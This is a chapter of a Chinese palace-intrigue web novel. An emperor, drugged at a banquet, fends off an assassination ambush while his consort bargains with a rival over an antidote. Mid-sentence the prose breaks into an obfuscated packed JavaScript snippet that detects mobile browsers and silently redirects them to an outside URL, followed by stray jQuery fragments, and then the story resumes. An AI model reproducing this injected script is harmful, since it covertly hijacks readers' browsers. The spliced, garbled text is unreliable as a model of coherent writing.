72. 说服
作品:《渣过的前任称帝了》 与此同时,水榭内。
顾越安和卿娆二人走后不久,气氛便陡然一变。
周显之瞧着秦箴喝下数盏清酒,脸上谄媚的笑容瞬间消失,取而代之的是毫不掩饰的狂妄与得意。
他整个人极其放松地陷在软椅中,慢悠悠地自斟自饮了一杯,斜睨了眼上首面色发红,不住摁着脑袋的秦箴,嗤笑道:“圣上可是醉了?”
秦箴垂下眸子,颇为不悦道:“周显之,在朕面前,怎敢如此无礼?”
周显之勾了勾唇,笑道:“圣上如今已是自顾不暇,竟还有心情顾忌这些细枝末节?”
说着,他眯了眯眸子,试探道:“想必圣上如今四肢乏力,浑身力气尽失吧?”
闻言,秦箴慢慢抬起头,冷脸道:“原来是你搞的鬼,周显之,你不要命了吗?”
周显之笑了笑:“圣上,这软筋散的滋味,可还受用。”
“您放心,这玩意儿一时半会儿可要不了命,顶多叫您丧力一个时辰罢了。”
“可惜这个时辰,便要叫您体会一番什么是砧板上的一块肉,任人宰割。”
秦箴压下眉眼,抬手慢条斯理地理了理方才被酒渍溅到的袖口,这才抬眸,冷冷看向周显之,声音平稳无波:“朕还不知道,原来这陇州,竟已成了你周显之的天下。”
“哈哈哈!”周显之放声大笑,眸中尽是狂热:“陇州?圣上说笑了,这陇州自然不是我周某的,主上惊才绝艳,我周某不过是个马前卒罢了。”
“至于这天下,将来也自然是主上的,只是可惜啊...”他拖长了音调,不无遗憾地摇头:“圣上您,是看不见那一天了。”
说完,他勾唇一笑,朝倚在一旁的赤练递了个眼色:“赤练,你不是一直心心念念,喜欢天子这副顶好的皮囊吗?去吧,趁着圣上如今格外好说话,去好好亲近亲近,想来主子也不会介意,让你先享用享用。”
他语气轻佻,目光邪肆地落在秦箴身上。
言罢,翘起腿,笑吟吟地望着上方。
赤练闻言,眼中掠过一丝兴奋的亮光,伸出舌尖舔了舔红唇,慢悠悠地站直身子。
她媚眼横波,直直盯着秦箴,眸光水雾靡丽,扭着身子一步一摇曳地朝秦箴走去。
秦箴淡淡瞥了她一眼,没什么感情。
就是这一眼,反倒叫赤练愈发眼热心跳。
秦箴没有管她,转而看向周显之,语气依旧平淡:“良禽择木而栖。周显之,此时回头,朕或可念在你尚未铸成大错,既往不咎。”
“既往不咎?”周显之像是听到了天大的笑话,冷冷一笑,满脸鄙夷:“你算个什么东西?不过是个草莽出身的乞儿,真以为穿上龙袍就是真龙天子了?”
“择木而栖?”他笑着琢磨这句话:“便是要择,也择不到你这根烂木头。”
此时,赤练已缓缓走至秦箴面前。
她伸出手,慢悠悠地握住案上那只青玉酒壶,另一只手拿起一只空了的酒盏,缓缓斟满,却并未递给秦箴,而是凑到自己唇边深深一嗅,娇声道:“圣上真是好狠的心肠,奴家难道生的不美,竟不配叫您瞧上一眼吗?”
说着,她腰肢一软,紧紧挨着秦箴身侧坐下,指尖不安分地捻弄着他衣袍上精美的绣纹,目光迷离,吐气如兰:“圣上生得这般昳丽,若是能得您垂怜,春宵一度,便是即刻死了,奴家也甘之如饴。”
下方,周显之勾着嘴角,眼中闪过一丝快意。
就算是皇帝又如何,还不是一样被女子肆意轻侮玩弄。
光是看着这高高在上的天子屈辱的模样,他就觉通体舒泰。
秦箴眉眼冷冽,并未理会身旁的骚扰,轻讽道:“既然如此,那失踪的殷长空,还有那批不翼而飞的军粮,想必也是落在你们手中了?”
周显之得意一笑,带着几分炫耀:“殷长空?倒也算号人物,折了我们不少兄弟,可惜啊,是个蠢的,我不过略施小计,他就乖乖进了山,如今嘛,怕是早就喂了那头的豺狼虎豹了吧,哈哈哈。”
话音未落,上方赤练已抬起藕臂,捧着那盏酒凑至秦箴唇边,痴痴道:“好圣上,您就喝一口。”
周显之笑容愈发得意,甚至勾了勾唇角。
不料,就在赤练手中的酒盏碰到秦箴唇瓣的前一瞬,秦箴眸中寒光乍现,,右腿如电光石火般疾扫而出。
“嘭”的一声闷响,赤练甚至来不及惊呼,整个人便如断线风筝,被一股磅礴巨力狠狠踹飞出去,直接撞翻远处屏风,滚落在地。
“你...你...你没中药!”周显之猛地站起身。
秦箴缓缓收回腿,仪态从容,他冷眼睥睨着口吐鲜血的赤练,淡声道:“朕,也是你能碰的?”
水榭内死寂一瞬,随即被周显之恼羞成怒的咆哮打破:“来人!给本官拿下他!”
埋伏在四面八方的黑衣人如潮水般涌上,刀光剑影瞬间笼罩了整个水榭。
周显之原以为拿下秦箴乃是极为简单的事,却不成想从一旁的树林中杀出一队同样蒙面的黑衣人,局势瞬间有些胶着。
周显之明白过来:“你早就有了防备。”
秦箴轻蔑一笑。
他若真是半点防备都没有,那他早就不知死在何处了。
只是方才为了叫这些人放松警惕,他到底饮了些酒下肚,眼下说全然没有影响自然是不可能的。
他从腰间抽出软剑一抖,刚准备蓄力,一股强烈的虚脱感便如潮水般席卷而来,四肢百骸如同灌了铅般沉重,内力滞涩难行。
他脸色苍白如纸,额角沁出细密冷汗,呼吸也变得粗重。
麒一见状,连忙冷声道:“保护圣上!”
秦箴压下眉眼,冷声道:“分出一队人,去寻皇后。”
周显之在外围狞笑:“强弩之末,看你还能撑几时,拿下他者,赏千金。”
这陇州可是他主子的地界,他还就不信,就凭秦箴和眼前这些人,真能叫他飞了不成。
想了想,周显之又补充道:“留着口气就成。”
闻言,黑衣人攻势越勇,一人觑准空挡,刀锋刁钻地劈向秦箴侧翼。
秦箴瞳孔一缩,强提残存内力,侧身避过要害,剑尖反撩,划破了对方手腕,但自己的衣袖也被刀锋割裂,一道血痕浮现。
更糟糕的是,或许是因为运功加速了药力运行,或许是那“软筋散”中还掺杂了别的东西,秦箴心口猛地一悸,一股熟悉的、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16825844|183926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
源自“鸳鸯蛊”的灼痛感骤然爆发。
心脏里仿佛有无数根烧红的针在穿刺,口中瞬间变得干渴。
内外交困,真正的绝境。
秦箴闷哼一声,剑尖低垂,身体几不可察地晃了晃。
周显之见状,狂喜大喊:“他不行了,快!”
此处的兵戈声传出甚远,就连远处的卿娆和顾越安也听见动静。
“考虑好了吗?殿下?”顾越安侧耳倾听着远处嘈杂的声音,唇角勾起一抹愉悦的弧度:“若再耽搁会儿,只怕咱们那位圣上便要命丧黄泉了呢。”
卿娆心脏狂跳,指尖深深掐入掌心。
她抬起头,目光清凌凌地对上顾越安,了然道:“你才不会让他死。”
顾越安脸色一僵,唇边的笑意缓缓收起。
卿娆见他这般作态,便知自己是猜对了。
若她如今是顾越安,想来也不会让秦箴死的这般轻易。
他定是要将秦箴牢牢地攥在手中,待好好出了一口气,才舍得叫他去死。
“是么?”顾越安垂下眸子,目光贪婪地在卿娆面上逡巡:“原本我是不打算叫他死的这般轻易,可听殿下这般说,我忽然便后悔了。”
“只要我送他上了路,我便能当做咱们之间什么事也未发生过,你说可好?”
卿娆心中陡然漏了一拍,面上却冷静极了,她抬起眸子,冲顾越安道:“顾越安,我跟你走,但是我答应过别人,要替他解了鸳鸯血蛊,如此才算两清。”
顾越安眼神一暗,笑意更深,目光极为危险:“殿下不会是想借此骗我替秦箴解蛊?你想都不要想。”
他呼吸骤紧,心脏猛地抽痛了一瞬,抬眸看她:“别人是谁?”
“除了秦箴,还有别人?嗯?”
卿娆拧起眉:“顾越安,你又发什么疯?”
不等顾越安说话,她张口便道:“如果当初不是为了救你,秦箴也不会中蛊。”
“我也不会因为他中蛊被陆蓝缨要挟,陆蓝缨帮了我的忙,我答应他一定要替秦箴解蛊,这有错吗?”
她冷冷道:“我当着陆蓝缨的面发过誓,若是有违誓言,便叫我天打雷...”
“够了!”顾越安咬着牙,强硬咽下口中的血腥气,嗓音因为剧烈克制而格外冷静:“我命人替秦箴解蛊,往后你和他断的一干二净。”
卿娆垂下眸子:“我阿父呢?你把他藏哪儿了?”
顾越安冷嗤一声:“他是你父亲,我还能把他怎么样?”
他警告地看卿娆一眼:“等我带你离开大楚之时,自然会同岳父一起。”
“我怎么信你?”卿娆盯着他。
顾越安冷笑,忽然吹了一声尖锐的口哨。
片刻,一名黑衣人影无声无息出现,单膝跪地。
“传令周显之,让他将秦箴带来澄园,不得伤其性命。”他冷冷吩咐,然后看向卿娆:“满意了?”
不得伤其性命,但最好将人打个半死。
顾越安眼底涌起浓重的黑雾。
卿娆却浑然不觉,目光望着那黑衣人的背影轻轻一笑:“原来,玄羽是你的人?”
“顾越安,你到底骗了我多少事?”

